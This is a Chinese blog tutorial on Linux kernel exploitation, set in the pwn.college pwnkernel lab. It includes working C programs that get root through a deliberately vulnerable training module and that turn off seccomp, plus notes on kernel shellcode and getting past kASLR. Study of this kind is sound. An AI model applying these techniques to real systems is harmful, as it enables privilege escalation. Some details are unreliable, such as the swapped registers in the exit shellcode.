Linux内核安全探究:漏洞利用、防御机制与调试技术
Ba1_Ma0 发表于 四川 历史精选 4150浏览 · 2024-06-14 04:29

Kernel 基础

什么是内核?

内核是操作系统的核心组件,负责管理计算机硬件资源和提供基础服务以支持系统软件和应用程序的运行。它是操作系统中最高权限的部分,直接与硬件交互,并通过抽象硬件功能,为用户态进程提供统一的接口

内核常用的指令

特权指令:

CLI:清除中断标志,禁止中断
STI:设置中断标志,允许中断
HLT:停止处理器,直到下一个中断发生
IN/OUT:从I/O端口读写数据
LGDT/SGDT:加载/存储全局描述符表(GDT)
LIDT/SIDT:加载/存储中断描述符表(IDT)
LTR:加载任务寄存器
MOV CRx:读取或写入控制寄存器(如CR0、CR3)

系统调用相关指令:

SYSCALL/SYSRET:用于快速调用和返回系统调用(在x86_64架构上)
INT 0x80:通过中断调用系统调用(在x86架构上)

页表管理:

MOV CR3:设置页表基地址寄存器,切换页表
INVLPG:无效化某个虚拟地址的页表缓存

调试指令:

INT3:触发断点中断,通常用于调试
RDTSC:读取时间戳计数器,测量精确的时间

特殊的寄存器

cr3 (Control Register 3)寄存器记录页表信息,用于将进程的虚拟地址转换为物理地址,这个寄存器直接用mov指令就能操作,但是要在内核模式下才能访问
MSR LSTAR (Model-Specific Register, Long Syscall Target Address Register)寄存器是基于特定模式的寄存器,它记录了系统调用会跳转到哪里执行,wrmsr指令和rdmsr指令是用来操作这个寄存器的,这两个指令也仅供内存使用的
那么计算机是如何知道用户是否可以访问如cr3之类的只有内核模式才能权限访问的寄存器呢

用户模式特权级别


当cpu在执行时,会记录当前程序的权限级别,上图是基于x86架构的,Ring3是最小权限环,在这一环里有很多限制,比如说不能设置cr3寄存器,不能和硬件外设交互,不能执行HLT之类的,当软件在这一环上运行,需要和系统进行交互时,就会转换到Ring0,这里还有Ring2和Ring1,最初它们是为设备驱动准备的,区分了不同的访问级别,但是很少会用到,Ring0是主管模式,在这一环里是没有限制的,可以做任何事,这也是内核运行的地方

Ring 3:用户模式,权限最低,限制较多,无法访问CR3等内核模式寄存器,无法执行HLT指令等。
Ring 0:内核模式,权限最高,可以执行任何指令和访问所有寄存器。
Ring -1:管理模式(主要用于虚拟化),可以拦截敏感操作,确保虚拟机中的用户内核无法无限制地访问主机硬件。

Ring -1

还有一个Ring -1环,但是内核是在Ring 0环的,随着虚拟机的兴起,管理模式的特权开始引发问题。虚拟机的“用户”内核不应该能够无限制地访问主机的物理硬件,Ring -1,管理程序模式。能够拦截用户执行的敏感 Ring 0 操作并在主机操作系统中处理它们

不同类型的操作系统模型

  1. 单片内核
    所有操作系统级别任务由一个统一的内核二进制文件处理。驱动程序作为库加载到此二进制文件中。示例:Linux、FreeBSD。
  2. 微内核
    只有一个微小的核心二进制文件,提供进程间通信和与硬件的最小交互。驱动程序作为普通用户空间程序运行,具有稍高的权限。示例:Minux、seL4。
  3. 混合内核
    结合了微内核和单片内核的特点。示例:Windows NT、MacOS。
    ## 环与环之间切换
    这里主要展示的是x86_64 arm架构,在启动时,在 Ring 0 中,内核将 MSR LSTAR 设置为指向系统调用处理程序例程,当用户空间(Ring 3)进程想要与内核交互时,它可以调用 syscall,具体方式如下:
    权限级别切换至 Ring 0
    控制流跳转到 MSR LSTAR 的值
    返回地址保存到 rcx
    https://www.felixcloutier.com/x86/syscall
    内核返回用户空间时,通过sysret指令完成权限级别切换和控制流跳转
    权限级别切换到 Ring 3
    控制流跳转到 rcx
    https://www.felixcloutier.com/x86/sysret
    ## 内核与用户空间的关系
    用户空间进程的虚拟内存位于低地址。


内核拥有自己的虚拟内存空间,位于高地址,只有在Ring 0才能访问

攻击方式

内核漏洞可能来自以下几个方向:

来自网络:远程触发漏洞,如死亡数据包。
来自用户空间:系统调用和ioctl处理程序中的漏洞。
来自设备:从连接的设备(如USB硬件)触发的漏洞。

常见的内核漏洞利用手段:

提升权限、安装rootkit。
获得更多访问权限,攻击系统其他部分,如受信任的执行环境。

Kernel 调试环境搭建

虚拟机环境设置

对内核进行开发和利用会产生很多bug。为了避免不断重启,不要在现实环境编译,而是在虚拟机中调试,这里附上环境快捷搭建的github项目地址:

https://github.com/pwncollege/pwnkernel

解压后,进入文件夹,执行build.sh脚本,它会为我们自动安装调试内核所需要的程序和编译内核


运行launch.sh脚本,这个脚本会把用户空间捆绑到一个文件系统中,然后启动qemu,进入虚拟linux系统环境


主机文件目录在

/home/ctf/

调试内核与syscall

在启动qemu时,开启了gdb远程调试与关闭了地址随机化, gdb调试默认端口为1234


内核文件是

./linux-5.4/vmlinux

写了一个简单的调用syscall的程序

.global _start
.intel_syntax noprefix
_start:
  xor eax,eax
  mov al,60
  syscall

这些汇编语言只是执行了一个exit(0),因为qemu里没有lib库,所以要在主机上静态编译这个文件

gcc -static -o exit -nostdlib exit.s


使用objdump查看这个程序的地址


程序入口处就在0x401000处,使用gdb导入要调试的内核,并进行远程调试

gdb提示当前在default_idle函数处,因为连接上了远程调试,而现在是gdb是暂停的状态,所以在qemu里无法操作的
查看当前rip寄存器,可以发现地址都是0xFFFFFF起步,说明现在已经在内核空间了


在gdb里输入C运行内核,qemu里才能正常操作,ctrl+c中断,qemu里又无法执行
0x401000地址是程序exit的起始地址,在0x401000地址处打一个断点,这个地址不是内核地址,但是我们现在可以调试整个系统,当运行到0x401000地址处时,内核就会暂停
打完断点后运行程序,然后回到qemu执行exit程序


现在触发了断点,回到gdb,查看汇编代码

这些汇编代码就是exit程序里的,这些都是即将执行的程序,输入si,进入syscall

可以看到地址都是FFFFF开头的,说明我们现在在内核空间了,syscall会把返回地址放到rcx寄存器里,查看rcx寄存器


执行完syscall,它就会返回到0x401006地址处继续执行其他指令
一直输入si,可以跟踪syscall函数执行的一些指令,在其中可以看到push指令,需要注意的是,这里不是push到用户空间的栈里,而是内核栈

查看rsp寄存器,它已经将栈切换到了内核栈

进入这个do_syscall_64函数,这里面是syscall主要操作的指令


输入finish执行完这些指令,来看看之后syscall是如何返回到用户空间的
现在正在恢复这些寄存器状态


还恢复了用户空间的栈指针

恢复了rsp,rdi,执行完pop rsp指令后查看rsp寄存器

可以看到现在已经回到了用户空间的栈指针,最后调用sysret指令,回到0x401022

内核模块

内核模块是linux生态系统的重要组成部分,主要用于实现设备驱动程序,概念上类似于用户空间的库,内核将内核模块加载到自身以提供各种功能,这些模块是一个ELF文件,扩展名为.ko,模块中的代码会以内核相同的权限运行
输入lsmod,可以查看当前加载到内核的内核模块

内核模块中断

内核模块中断是指操作系统内核中的一个功能,用于处理中断请求(IRQ,Interrupt Request)。中断是硬件或软件向处理器发送的一种信号,要求处理器暂时停止当前的执行流程,转而处理特定的事件或任务。处理完中断后,处理器会继续执行之前的任务,需要用到LIDT和LGDT指令加载中断描述符表和全局描述符表,然后由int 42指令触发中断
其他用于hook的中断指令:

int3 (0xcc):会导致SIGTRAP
int1 (0xf1):通常用于硬件调试

内核模块交互

与内核模块交互的最常见方法是通过文件,例如:
/dev:/dev 目录包含设备文件,这些文件是系统中的硬件设备和虚拟设备的接口。设备文件分为两类:字符设备和块设备

这个文件夹里有许多不同的设备,sda文件就代表本机硬盘,查看这个文件就会输出大量的硬盘中的内容
/proc:/proc 目录是一个伪文件系统,提供了一个接口来访问内核和进程信息。它不是实际存在于磁盘上的文件系统,而是内存中的一种数据表示


bash的进程号有7个,进入其中可以看到当前bash调用的一些信息
/sys:/sys 目录是sysfs文件系统的挂载点,提供了一个统一的接口来查看和配置内核对象。它主要用于反映内核对象模型(Kobject)层次结构,允许用户空间应用程序与设备驱动程序和内核子系统进行交互

交互的接口函数为read()和write(),从内核空间调用:

static ssize_t device_read(struct file *filp, char *buffer, size _t length, loff _t *offset)
static ssize_t device write(struct file *filp, const char *buf, size t len, loff t *off)


从用户空间调用:

fd = open('/dev/1',0)
read(fd,buffer,128)

还有一个更高级的接口,ioctl(输入输出控制,Input/Output Control)是一种在Unix和Linux操作系统中用于设备控制的系统调用。它为用户空间程序提供了一种与设备驱动程序(通常在内核空间中)进行复杂交互的机制,通过文件描述符来传递特定的命令和数据
从内核空间调用:

static long device_ioctl(struct file *filp, unsigned int ioctl_num, unsigned long ioctl_param)

从用户空间调用:

int fd=open("/dev/1",0);
ioctl(fd,COMMAND CODE,&custom data structure);

驱动程序交互

内核可以做任何事情,而在单内核中,内核模块就是内核的一部分,运作流程如下
1.从用户空间读取数据(copy_from_user)
2.执行数据,列如打开文件、读取文件、与硬件交互等
3.将数据写入用户空间(copy_to_user)
4.返回用户空间

编译模块

本文用的是pwnkernel的环境,模块都在src目录下


在src/mymodule.c中编写内核模块,然后用src/Makefile添加一个条目,最后make即可
列如我要添加一个baimao_module

将baimao_module添加进Makefile里,然后执行build.sh自动编译,编译后执行launch启动环境


baimao_module已经成功编译成内核模块

导入内核模块

内核模块使用init_module函数完成系统调用加载,也可以用insmod命令载入,这里用baimao_module举例


这个模块的的作用就是往内核日志中输出一条Hello baimao!结束时输出Goodbye baimao!,回到qemu,执行insmod baimao_module.ko

成功载入并输出Hello baimao!,使用lsmod可以看到载入的内核模块和载入地址

删除内核模块

可以使用系统调用delete_module删除加载的模块,也可以用rmmod命令删除

使用这些方法就能让内核执行我们的代码

内核漏洞

内核漏洞提权(Kernel Exploitation for Privilege Escalation)是指攻击者利用操作系统内核中的漏洞,从而获得比其原有权限更高的权限,通常是从普通用户权限提升到管理员或系统权限

内核内存损坏

内核内存损坏(Kernel Memory Corruption)是指内核中的内存数据被意外修改或破坏,导致系统不稳定、崩溃或安全漏洞
每个内核模块都有两个非常重要的函数,copy_to_user和copy_from_user,copy_to_user的作用是将数据从内核空间复制到用户空间,copy_from_user是将将数据从用户空间复制到内核空间,所有用户数据都是通过这两个函数来完成和内核空间交互的

copy_to_user(userspace_address, kernel address, length);
copy_from_user(kernel address,userspace address, length);

内核内存损坏可能导致以下后果:
1.系统崩溃
2.系统变砖
3.权限提升
4.干扰其他进程

权限提升原理

内核也是由代码构成的,有代码地方就会存在各种各样的漏洞,危害最大的就是权限提升,内核会记录每一个进程的权限,而内核又是通过task_struct记录了一大堆信息,task_struct保存了操作系统所需的特定进程数据。这些数据包括:进程凭据、优先级、PID(进程 ID)、PPID(父进程 ID)、开放资源列表、内存空间范围信息、命名空间信息

task_struct中最重要的是进程凭据(cred),cred结构体中包含进程的euid,euid是一个重要的字段,它代表了进程的有效用户ID(effective user ID)。有效用户ID是用于权限检查的用户ID,如果将euid改为0,当前进程就是root权限,提权就是将euid改为0

进程凭证是不可变的,但它可以被替换,内核提供了两个api,一个是把当前cred结构体对象替换为别的:

commit_creds(struct cred *)

另一个能创建cred结构体对象:

struct cred *prepare_kernel_cred(struct task_struct*reference_task_struct)

如果我们将NULL(0)传递给prepare_kernel_cred,它会创建一个具有root访问权限和完全权限的cred结构,再用commit_creds执行它,就会获得root权限

commit_creds(prepare_kernel_cred(0));

实例演示

在src目录下,有一个make_root.c文件,这个文件就是用来演示的内核模块


这个模块会在/proc下创建一个设备文件, 文件名称为pwn-college-root


它为这个设备文件注册了一堆操作函数,有read、write、open、release,最重要的是ioctl

里面有一个几个if判断,首先判断ioctl_num是否为PWN参数里的值,然后判断ioctl_param是否为0x13371337,如果是的话就执行这条语句,会给我们一个root权限

commit_creds(prepare_kernel_cred(NULL));

首先我们要写一个程序,它要open这个文件(pwn-college-root),然后传入正确的ioctl_num和参数,触发ioctl执行,就能获得root权限,但是现在还不知道PWN的参数是什么,需要逆向这个内核模块找出来

objdump -M intel -d src/make_root.ko


在这里可以看到第一个if对比的值,是0x7001,现在就可以写一个程序来破解它了
程序源代码:

#include <assert.h>
int main(){
  int fd = open("/proc/pwn-college-root", 0);
  assert(fd > 0);
  printf("%d\n",getuid());
  ioctl(fd,0x7001,0x13371337);
  printf("%d\n",getuid());
  execl("/bin/sh","/bin/sh",0);
}

最后的execl函数作用是将当前进程替换为/bin/sh
然后静态编译这个程序

gcc -o getroot -static getroot.c

执行launch.sh脚本启动qemu,然后导入make_root内核模块


导入后切换到ctf普通用户,去到编译破解程序的文件夹里

运行程序,就能获得一个root权限的sh

注意事项

提权要知道commit_creds和prepare_kernel_cred在内存的哪里,现代内核默认启用了kASLR,这些位置都是随机的,只有老的内核和一些嵌入式设备禁用了kASLR
有一个文件叫kallsyms,在/proc目录下,它包含内核符号表的相关信息,可以找到这两个函数的地址

Seccomp逃逸

seccomp(Secure Computing Mode)是Linux内核中的一个安全机制,用于限制进程可以执行的系统调用。它通过过滤器规则来限制进程能够调用的系统调用集,从而减少攻击面,增强系统安全性。然而,由于内核是以最高权限运行的,seccomp也是在内核内部实现的,因此存在通过内核漏洞逃逸seccomp的风险。如果内核模块存在漏洞,那么攻击者可以利用这些漏洞获得与seccomp本身相同的访问权限

Seccomp实现原理

cred结构体也是tack_struct的成员,tack_struct中还有其他数据


在thread_info结构体中,有一个名为flags的变量。flags包含了许多比特位,这些位是一个位域,编码了多个选项。其中,第八位的比特标志位是TIF_SECCOMP,它的作用是启用seccomp

图中代码就是seccomp在内核中实现的方式:

这段代码的主要功能是在使用seccomp进行系统调用过滤时,检查并处理系统调用的相关安全性。它首先保存原始的系统调用号,然后调用secure_computing函数进行安全性检查。如果检查结果不符合预期,就会发出警告并强制退出当前进程
实现secure_computing的代码:

这段代码定义了一个内联函数 secure_computing,用于在系统调用期间检查并执行 seccomp 安全策略

之后会弄清楚用户设置了哪些seccomp选项,然后执行seccomp过滤器,这就是seccomp在内核中的实现方式

如何关闭Seccomp

可以通过task_struct获取thread_info.flags的偏移量,改变TIF_SECCOMP位,从而关闭当前线程的seccomp。TIF_SECCOMP是一个索引,通过将1左移8位然后取反,创建了一个字段,每个位都是1,除了右边第8位,这样就关闭了一个标志位。具体操作如下:

current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)

这行代码中,1 << TIF_SECCOMP将1左移8位,生成一个只有第8位为1的数。然后通过按位取反操作,生成一个除了第8位为0外其余位全为1的数。通过按位与操作,将flags的第8位置0,其余位保持不变,从而关闭TIF_SECCOMP标志位

内核通常将GS寄存器指向当前task_struct,简称为current,以便频繁地使用该结构。通过current可以轻松访问当前进程的task_struct。要关闭thread_info.flags中的TIF_SECCOMP标志,可以先通过GS寄存器获取结构的访问权限,然后清除TIF_SECCOMP标志即可。这样当前进程就不会被Seccomp保护,但它的子进程仍然会受到Seccomp防护

实例演示

这里还是用make_root内核模块来演示


只不过不同的是,发送0x31337,程序就会逃逸seccomp防护

这段代码的作用就是清除seccomp的flags,写一个程序来启用seccomp防护,并演示如何关闭它

#define _GNU_SOURCE 1
#include <sys/sendfile.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>

void attack()
{
    printf("BREAKING OUT!\n");
    ioctl(3, 0x7001, 0x31337);

    printf("Pre-root uid: %d\n", getuid());
    ioctl(3, 0x7001, 0x13371337);
    printf("Post-root uid: %d\n", getuid());

    int flag_fd = open("/flag", 0);
    assert(flag_fd > 0);
    char buf[1024];
    int n = read(flag_fd, buf, 1024);
    assert(n > 0);
    puts(buf);
}

int main()
{
    int fd = open("/proc/pwn-college-root", 0);
    assert(fd > 0);

    setresuid(1234, 1234, 1234);

    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ERRNO(1337));
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(ioctl), 0) == 0);
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0);
    assert(seccomp_load(ctx) == 0);

    printf("Before breaking out...\n");
    printf("Trying getuid() %d\n", getuid());

    attack();
}

mian函数的作用:

打开/proc/pwn-college-root文件,确保程序有访问权限。
setresuid(1234, 1234, 1234);:将用户ID设置为1234。
初始化seccomp过滤器ctx,将默认操作设置为返回错误代码1337。
添加允许的系统调用:ioctl、read、write。
加载seccomp过滤器以限制程序只能调用上述系统调用。
打印当前用户ID,然后调用attack()函数尝试提升权限并读取文件内容。

然后调用attack函数,完成提权和关闭seccomp防护,读取flag文件里的内容并输出
静态编译程序后进入qemu导入make_root.ko内核模块

apt-get install libseccomp-dev
gcc -o seccomp -static seccomp.c -lseccomp


运行程序,成功关闭seccomp


rbx寄存器从gs寄存器的偏移0x15d00地址处读取TIF_SECCOMP值,然后传入rsi寄存器里,最后输出,下一步指令就是清除TIF_SECCOMP

内存管理


这是传统的计算机结构,有一个cpu、有内存、和磁盘、网络有交互,这里主要讨论一下内存管理

进程内存

每个 Linux 进程都有一个虚拟内存空间。它包含:

二进制文件:可执行文件本身,包含了程序的指令代码
库文件:包含程序所依赖的共享库,比如标准C库
堆:用于动态内存分配,例如使用 malloc、calloc 和 realloc 分配的内存。堆的大小可以在运行时动态增长
栈:用于存储函数调用的局部变量、参数和返回地址。栈的大小通常是有限的,如果栈的使用超过了预定的限制,可能会导致栈溢出
专门映射的内存:程序可以通过 mmap 等系统调用将文件或匿名内存段映射到进程的地址空间
辅助区域:包括一些特殊用途的内存区域,例如动态链接器使用的区域
内核代码:位于高地址部分,在 64 位系统中通常位于 0x8000000000000000 以上的地址空间,用户进程无法直接访问这些区域

虚拟内存和物理内存

虚拟内存:每个进程都有自己独立的虚拟地址空间,这意味着一个进程的内存操作不会直接影响其他进程。虚拟内存使得内存管理更加灵活和安全
物理内存:是计算机实际的内存硬件,所有进程的虚拟内存都会映射到物理内存。操作系统负责管理这种映射
虚拟内存是为用户的进程保留的,而物理内存是整个系统共享的

物理内存

物理内存是计算机中的实际硬件RAM,它的地址范围通常从0x00000000到0xffffffff(假设是32位系统)。每个程序都需要在这个有限的物理内存中运行,但物理内存的直接管理和分配是复杂且容易出错的
虚拟内存通过引入一个中间层,将每个进程的内存地址空间与实际物理内存分离开来。每个进程都有自己独立的虚拟内存地址空间,这样就可以在不相互干扰的情况下运行多个程序

位置无关代码(PIC)

位置无关代码(PIC)位置无关代码是一种可以在内存的任何位置运行的代码。它不依赖于固定的内存地址,从而允许多个程序共享同一个内存地址空间而不冲突。共享库(如动态链接库)通常是位置无关代码的一个例子

虚拟内存


虚拟内存是操作系统提供的一种使每个进程认为自己拥有完整且连续的内存空间,而实际上这些内存空间可能分布在不同的物理内存位置。虚拟内存系统通过硬件和操作系统的合作,使多个进程能够有效、安全地共享物理内存
每个进程都有自己的虚拟地址空间,这个空间是连续的且独立于其他进程。图中的P1、P2、P3、P4代表了不同进程的虚拟内存,它们的虚拟地址范围都是从0x000到0x0fff, 所有进程的虚拟内存都映射到同一个物理内存空间。图中展示了一个从0x00000000到0xffffffff的物理内存地址范围 ,最后由CPU和操作系统通过页表来维护虚拟地址和物理地址之间的映射关系。当进程访问虚拟内存时,硬件会通过页表将虚拟地址转换为物理地址

如何映射虚拟内存和物理内存


在计算机系统中,虚拟内存和物理内存的映射是通过页表来管理的。每个进程都有一个独立的虚拟地址空间,虚拟内存地址通过页表映射到实际的物理内存地址 ,Strawman解决方案是一个简化的模型,其中每个进程被分配固定大小(如4KB)的内存空间 ,如果需要更多的空间,现代计算机系统使用分页机制来管理内存,允许虚拟内存页映射到非连续的物理内存地址,意思是在虚拟内存空间里是连续的地址,但是在物理内存空间里可以是不连续的

页表

页表是内存管理单元(MMU)使用的核心数据结构之一,用于将虚拟地址映射到物理地址。每个进程都有自己的页表,操作系统负责管理这些页表以实现内存的隔离和保护,每个页表条目(Page Table Entry, PTE)包含一个虚拟页到物理页的映射。一个页表通常包含512个条目,这意味着一个页表可以映射最多512页的内存。每页大小为4KB,那么一个页表可以映射最多2MB(512 * 4KB)的内存,需要注意的是,页表也会占用掉一页

多级页表

对于需要更多内存的情况,现代计算机系统通常使用多级页表。多级页表将页表分成多个级别,每个级别的页表指向下一级别的页表。以下是一个常见的多级页表结构:

一级页表:包含指向二级页表的指针
二级页表:包含指向三级页表的指针
三级页表:包含指向四级页表的指针
四级页表:包含指向最终物理页的指针
PML4(Page Map Level 4):最高级别的页表
PDP(Page Directory Pointer):指向页目录的指针
PD(Page Directory):页目录,包含指向页表的指针
PT(Page Table):页表,包含指向物理页的指针
页内偏移:物理页内的具体偏移


通过这种方式,可以管理大于单级页表所能覆盖的内存空间。例如,x86_64架构使用四级页表,可以映射多达256TB的虚拟地址空间

地址转换

0x7fff47d4c123地址的二进制是0111 1111 1111 1111 0100 0111 1101 0100 1100 0001 0010 0011

A: PML4索引(Page Map Level 4):选择PDP表
B: PDP索引(Page Directory Pointer):选择页目录(PD)
C: PD索引(Page Directory):选择页表(PT)
D: PT索引(Page Table):选择具体的物理页
E: 页内偏移:选择页内具体的位置

在x86_64架构下,虚拟地址的长度为64位,但实际使用的仅有48位,高地址的12位要么是0,要么是1,48位对于现在已经够用了。这48位被分成多个部分,用于索引多级页表,以实现虚拟地址到物理地址的转换,以下是地址转换过程:

虚拟地址分段:虚拟地址被分成多个部分,分别用于索引多级页表
查找页表:从PML4开始,通过每一级索引找到下一级页表,最终找到物理页
物理地址计算:在物理页基础上加上页内偏移,得到最终的物理地址

汇编表达:

mov rax, [rbx]

这条指令从rbx寄存器指向的内存地址读取一个值到rax寄存器。在有多级页表的情况下,这个虚拟地址转换过程可以表示为:

rax = *(long *)(PML4[A][B][C][D])[E]

进程隔离

在x86_64架构中,每个进程都有一个独立的页表,最顶层的页表被称为PML4(Page Map Level 4)。PML4包含指向下一级页表的指针,通过多级页表结构实现虚拟地址到物理地址的转换,每个进程都有自己的PML4,如何找到它呢,这里就要用到CR3寄存器,CR3寄存器是一个控制寄存器,保存当前使用的PML4表的物理地址。操作系统在切换进程时,通过修改CR3寄存器的值来切换页表,从而实现进程间的内存隔离,但CR3寄存器只能在ring0级别访问。ring0是操作系统内核的权限级别,具有最高权限。用户态代码运行在ring3级别,没有权限直接修改CR3寄存器

虚拟机的内存管理

虚拟机(VM)通过虚拟化技术运行多个操作系统实例,每个操作系统实例称为一个“客体”(Guest)。为了隔离虚拟机并保护物理内存不被直接访问,虚拟化技术引入了扩展页表(EPT),扩展页表是英特尔虚拟化技术(Intel VT-x)中的一个特性,用于支持二级地址转换(SLAT)。EPT提供了一个额外的地址转换层,使得虚拟机中的每个内存访问都需要经过两次地址转换:

虚拟地址到客体物理地址:虚拟机操作系统使用传统的页表将虚拟地址转换为客体物理地址
客体物理地址到实际物理地址:扩展页表将客体物理地址转换为实际的物理地址

虚拟机中的每个虚拟地址通过其内部的页表结构(PML4、PDPT、PD、PT)转换为客体物理地址,具体转换过程:

CR3: PML4 (Guest) -> PDPT (Guest) -> PD (Guest) -> PT (Guest) -> Guest Physical Address


客体物理地址通过扩展页表再次转换为实际的物理地址,扩展页表转换:

EPT PML4 -> EPT PDPT -> EPT PD -> EPT PT -> Physical Address

虚拟机管理程序(Hypervisor)利用EPT技术来管理和隔离虚拟机的内存。Hypervisor运行在最高权限级别(通常是ring0),并负责管理物理硬件资源的分配和保护。通过EPT,Hypervisor可以有效地将物理内存划分给多个虚拟机,并确保它们之间的内存访问是隔离且安全的

内存管理单元(MMU)

如果内核在软件中进行所有查找是很慢的,这里就会用到内存管理单元(MMU),内存管理单元(MMU)是计算机体系结构中的一个关键组件,负责管理虚拟内存地址到物理内存地址的转换 ,转换过程如下:

MMU根据页表将虚拟地址转换为物理地址
通过多级页表结构,MMU可以高效地管理和转换大量的虚拟地址

MMU还有内存保护措施,MMU检查每次内存访问的权限,确保进程只能访问其权限范围内的内存区域。通过设置页表中的权限位,MMU可以控制每个内存页的读、写和执行权限,为了加速地址转换,MMU使用了一种叫做转换旁路缓冲区(TLB)的高速缓存。TLB缓存最近使用的虚拟地址到物理地址的映射,减少了查找页表的次数,提高了内存访问速度。

内核保护机制

内核有许多防护措施:

栈金丝雀 (Stack canaries):在栈上放置一个特殊值(“金丝雀”),如果该值被修改,就能检测到栈溢出攻击
kASLR (Kernel Address Space Layout Randomization):启动时随机化内核的基址,使得攻击者难以预测内核的位置,从而提高安全性
不可执行堆/栈区域:通过禁止执行堆和栈上的代码,防止攻击者将恶意代码插入这些区域并执行

这些防护也是有绕过方法的:

栈金丝雀绕过 (Stack canaries bypass):攻击者可以通过某些方法泄露栈金丝雀的值,然后在进行栈溢出攻击时跳过对金丝雀值的破坏,从而绕过保护
kASLR绕过 (kASLR bypass):通过泄露内核基址,攻击者可以预测内核的位置,绕过地址空间随机化带来的保护
堆/栈区域不可执行绕过 (Heap/stack regions NX bypass):使用返回导向编程(ROP)技术,攻击者可以利用现有的代码片段执行恶意行为,即使堆和栈区域不可执行

FGKASLR

FGKASLR(Function Granular Kernel Address Space Layout Randomization) 是一种更细粒度的地址空间布局随机化技术。与传统的kASLR(Kernel Address Space Layout Randomization)不同,kASLR主要是在内核层次上随机化基地址,而FGKASLR进一步细化到了函数级别。具体来说,它通过在系统启动时将内核中的函数随机排列,使得每次启动时函数的位置都不同,从而增加了攻击者推测或利用函数位置的难度

SMEP&SMAP

监督内存保护 (Supervisor Memory Protection) 是一种防止内核访问或执行用户空间内存的安全措施。主要包含以下两个部分:
SMEP (Supervisor Mode Execution Protection)
功能:防止内核模式下的代码执行用户空间内存中的代码
作用:阻止攻击者通过缓冲区溢出攻击,使内核执行用户空间的恶意代码,从而保护系统
SMAP (Supervisor Mode Access Prevention)
功能:防止内核模式下的代码访问用户空间内存,除非明确设置了允许访问的标志(AC标志)
作用:阻止内核被缓冲区溢出攻击而访问用户空间的数据,从而提高系统安全性

随着防御技术的不断改进,攻击者也在不断创新新的攻击手段 ,run_cmd(char *cmd) 是一个内核函数,允许在用户空间以root身份执行命令。这种方法类似于标准C库中的 system() 函数,但直接在内核中调用,但也带来安全风险,因为它允许内核代码以最高权限执行任意命令

编写内核Shellcode

这是用户空间读取文件的汇编指令shellcode:

global _start
section .text
    _start:
        ; fd = open("/flag", O_RDONLY);
        lea rdi, [rip+flag]
        mov rsi, 0
        mov rax, 2
        syscall

        ; bytes_read = read(fd, buf, 100);
        mov rdi, rax
        mov rsi, rsp
        mov rdx, 100
        mov rax, 0
        syscall

        ; write(stdout, buf, bytes_read);
        mov rdi, 1
        mov rsi, rsp
        mov rdx, rax
        mov rax, 1
        syscall

        ; exit(42)
        mov rdi, 60
        mov rax, 42
        syscall

section .data
    flag db "/flag", 0

但是这些指令不能在内核空间中运行, 系统调用是操作系统提供的接口,允许用户空间程序请求内核执行特权操作,如文件操作、进程控制、网络通信等。通过系统调用,用户空间程序可以安全地访问内核提供的服务,而不会直接操作内核内存或设备
当执行syscall指令时,就会执行立即跳转到内核中的 syscall_entry 函数,syscall_entry 函数设计上是假定调用来自用户空间 。如果你从内核空间调用它,会导致内核崩溃

内核API

在内核内部执行操作需要对内核数据结构和API有深入的了解,权限提升要用到的操作:

commit_creds(prepare_kernel_cred(0));

prepare_kernel_cred(0) 创建一个新的凭据结构,并将其设置为0(通常表示root权限)。commit_creds 应用这些凭据,从而实现权限提升
seccomp逃逸要用到的操作:

current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)

通过修改当前任务的 thread_info.flags,清除 TIF_SECCOMP 位,从而禁用Seccomp
命令执行:

run_cmd("/path/to/my/command")

使用 run_cmd 函数以内核权限在用户空间执行命令,这类似于在内核中调用 system()
这些都不涉及系统调用,但它们都需要查找current_task_structcurrent_task_struct代表当前执行任务的结构体。需要找到并正确引用这个结构体,以便修改其成员和方法偏移量

定位API地址

如果KASLR是关闭的话,可以从 /proc/kallsyms 文件里获取函数地址


如果KASLR 被启用,需要泄露一个内核地址并计算偏移量,就像在用户空间绕过ASLR一样

调用方法

在内核中调用API函数时,需要使用 call 指令,而不是用户空间的 syscall。这是因为内核API是以函数形式存在的,直接调用即可,无需通过系统调用中断机制 ,通过将目标函数的地址加载到寄存器中,然后调用该寄存器来实现绝对地址调用,假设现在找到了一个内核api函数的地址,要调用它
列如:

mov rax, 0xffff414142424242
call rax

将汇编指令转换为十六进制:

pwn asm -c amd64 "mov rax, 0xffff414142424242; call rax"

访问内核数据结构

Seccomp(安全计算模式)是一种用于限制进程系统调用的安全机制。为了绕过Seccomp限制或在内核中进行某些操作,需要找到当前的任务结构体(task_struct),在Linux内核中,每个运行中的任务(进程或线程)都有一个对应的 task_struct 结构体,包含了任务的所有信息。在内核代码中,可以通过 current 宏快速访问当前任务的 task_struct,在x86_64架构下,Linux内核使用段寄存器 gs 指向当前CPU的 per-CPU 数据区域,而 per-CPU 数据区域中包含了当前任务的 task_struct,在内核开发中,通过宏 current 可以轻松获取当前任务的 task_struct。但是在编写Shellcode时,没有这些高级宏,必须直接使用汇编指令从 gs 寄存器中获取任务结构体 ,以下是如何在Shellcode中获取当前任务的 task_struct 的示例:

mov rax, qword ptr gs:[0x0]     ; 从 gs 段寄存器获取当前任务的 task_struct

也可以用c语言写出来,编译为内核模块,通过objump来查看汇编指令是什么,再将汇编指令写入shellcode即可

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
MODULE_LICENSE("GPL");

void *test_get_thread_info_flags_addr(void) {
    return &current->thread_info.flags;
}

unsigned long test_get_seccomp_flag(void) {
    return TIF_SECCOMP;
}


我们不需要阅读内核源代码,直接用编译器就能帮我们找出来需要用到的指令

清理环境

在用户空间执行完Shellcode可以不用管后面怎么样, 为了保证系统的稳定性和安全性,内核空间Shellcode在完成任务后应尽量干净地退出,而不是出现段错误或崩溃,如果是通过劫持函数指针来调用Shellcode,那么让它像一个函数一样运行并在完成时返回, 确保在Shellcode执行完毕后,恢复原有的寄存器和栈状态,避免影响后续代码执行
假设你通过劫持函数指针来执行Shellcode,可以在Shellcode末尾添加返回指令:

